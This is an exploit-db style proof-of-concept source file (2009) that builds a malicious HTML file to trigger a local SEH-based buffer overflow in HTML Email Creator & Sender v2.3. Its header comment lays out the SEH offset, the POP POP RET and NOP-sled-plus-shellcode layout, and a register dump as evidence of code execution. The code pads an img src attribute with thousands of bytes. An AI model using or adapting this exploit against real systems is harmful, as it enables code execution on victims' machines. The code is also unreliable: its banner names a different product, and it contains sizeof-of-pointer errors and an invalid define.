exploit-db-mirror/platforms/windows/dos/9446.cpp

    /*0day  HTML Email Creator & Sender v2.3 Local Buffer Overflow(Seh) Poc
    ********************************************************************
    Debugging info
    Seh handler is overwriten , the offset is at 60 bytes in our buffer 
    so you have to build your buffer as follows:
    [PONTER TO NEXT SEH]-------[SEH HANDLER]----[NOP]------[SHELLCODE]
              |                     |              |            |
            JMP 4 bytes            POP POP RET    50*0x90      calc.exe 
    *********************************************************************
    Code execution is possible.
    CPU Registers
    EAX 00000000
    ECX 00000208
    EDX 00000000
    EBX 00000029
    ESP 0012E224
    EBP 7C8101B1 kernel32.lstrcpynA
    ESI 90909090              <------------------CONTROLED
    EDI 00001209
    EIP 0042E1C7 HtmlEmai.0042E1C7
    */

    #include <stdio.h>
    #include <windows.h>
    #include <string.h>
    #include <getopt.h>
    #include <stdint.h>
    typedef struct Start  {
    uint8_t sh;
    uint8_t st;
    uint8_t sm;
    uint8_t sl;
                          }HTML;

    typedef struct Middle {
    uint8_t sh;
    uint8_t se;    
    uint8_t sa;                     
    uint8_t sd;
  	         	          }HEAD;
     
    typedef struct End    {
    uint8_t sb;
    uint8_t so;
    uint8_t sD;
    uint8_t sy;
                          }BODY;
    #define BUFFERSIZE  0x1A0A
    #define FILESIZE    29A
    #define SRC         "<img src="
    void Fbuild(char *fname)
    { HTML *ht_ml;
      HEAD *he_ad;
      BODY *bo_dy;
      char *memBuffer;
      //"\x48\x54\x4D\x4C"  -html
      ht_ml = (HTML*)malloc(sizeof(HTML));
      he_ad = (HEAD*)malloc(sizeof(HEAD));
      bo_dy = (BODY*)malloc(sizeof(BODY));
      memBuffer = (char*)malloc(BUFFERSIZE);
      if(ht_ml == NULL || he_ad == NULL || bo_dy == NULL || memBuffer == NULL) { 
      exit(-1);
                                                              } 
      ht_ml->sh = 0x48;
      ht_ml->st = 0x54;
      ht_ml->sm = 0x4D;
      ht_ml->sl = 0x4C;
      //second structure
      //HEAD "\x48\x45\x41\x44"
      he_ad->sh = 0x48;
      he_ad->se = 0x45;
      he_ad->sa = 0x41;
      he_ad->sd = 0x44;
      //thierd structure
      //"\x42\x4F\x44\x59"
      bo_dy->sb = 0x42;
      bo_dy->so = 0x4F;
      bo_dy->sD = 0x44;
      bo_dy->sy = 0x59;
      FILE *f;
      f = fopen(fname, "w");
      if( f == NULL) {
      exit(-1); 
                     }
      int32_t offset = 0;                    
      memcpy(memBuffer, "<", 1);  
      offset += 1;  
      memcpy(memBuffer+offset, ht_ml, sizeof(ht_ml));
      offset += sizeof(ht_ml);     
      memcpy(memBuffer+offset, ">", 1); 
      offset += 1;     
      memcpy(memBuffer+offset, "<", 1);
      offset += 1;          
      memcpy(memBuffer+offset, he_ad, sizeof(he_ad));
      offset += sizeof(he_ad);
      memcpy(memBuffer+offset, ">", 1); 
      offset += 1;
      memcpy(memBuffer+offset, "<", 1); 
      offset += 1;
      memcpy(memBuffer+offset, "\\", 1);
      offset += 1;
      memcpy(memBuffer+offset, he_ad, sizeof(he_ad)); 
      offset += sizeof(he_ad);
      memcpy(memBuffer+offset, ">", 1);
      offset += 1;
      memcpy(memBuffer+offset, "<", 1);
      offset += 1;
      memcpy(memBuffer+offset, bo_dy, sizeof(bo_dy));
      offset += sizeof(bo_dy);
      memcpy(memBuffer+offset, ">", 1);
      offset += 1;
      uint8_t shit[] ={ 0x3C,0x69,0x6D,0x67,0x20,0x73,0x72,0x63,0x3D };
      memcpy(memBuffer+offset, shit, sizeof(shit));
      offset += sizeof(shit);
      memset(memBuffer+offset, 0x22, 1);
      offset += 1;
      memset(memBuffer+offset, 0x41, 4616);
      offset += 4616;
      memset(memBuffer+offset, 0x22, 1);
      offset += 1;
      memcpy(memBuffer+offset, ">", 1);
      offset += 1;
      memcpy(memBuffer+offset, "<", 1);
      offset += 1;
      memcpy(memBuffer+offset, "\\", 1);
      offset += 1;
      memcpy(memBuffer+offset, bo_dy, sizeof(bo_dy));
      offset += sizeof(bo_dy);
      memcpy(memBuffer+offset, ">", 1);
      offset += 1;
      memcpy(memBuffer+offset, "<", 1); 
      offset += 1;
      memcpy(memBuffer+offset, "\\", 1);
      offset += 1;
      memcpy(memBuffer+offset, ht_ml, sizeof(ht_ml)); 
      offset += sizeof(ht_ml);
      memcpy(memBuffer+offset, ">", 1);  
      offset += 2; 
      fwrite(memBuffer, offset , 1, f); 
      fwrite("\x00", 1, 1, f);
      printf("File Done!\n");
    }
     int main(int argc, char *argv[])
    {  char *fname = argv[1];
       system("CLS"); 
       fprintf(stdout , "::                                         ::\n");
       fprintf(stdout , "Embedthis Appweb Remote Stack Overflow POC\n"); 
       fprintf(stdout , "All Credits:fl0 fl0w\n");
       fprintf(stdout , "::                                         ::\n");
       if(argc < 2) {
       printf("Usage is %s filename.html\n", argv[0]);               
       exit(-1);        
                    }       
       Fbuild(fname);
       return 0; 
     }  

// milw0rm.com [2009-08-18]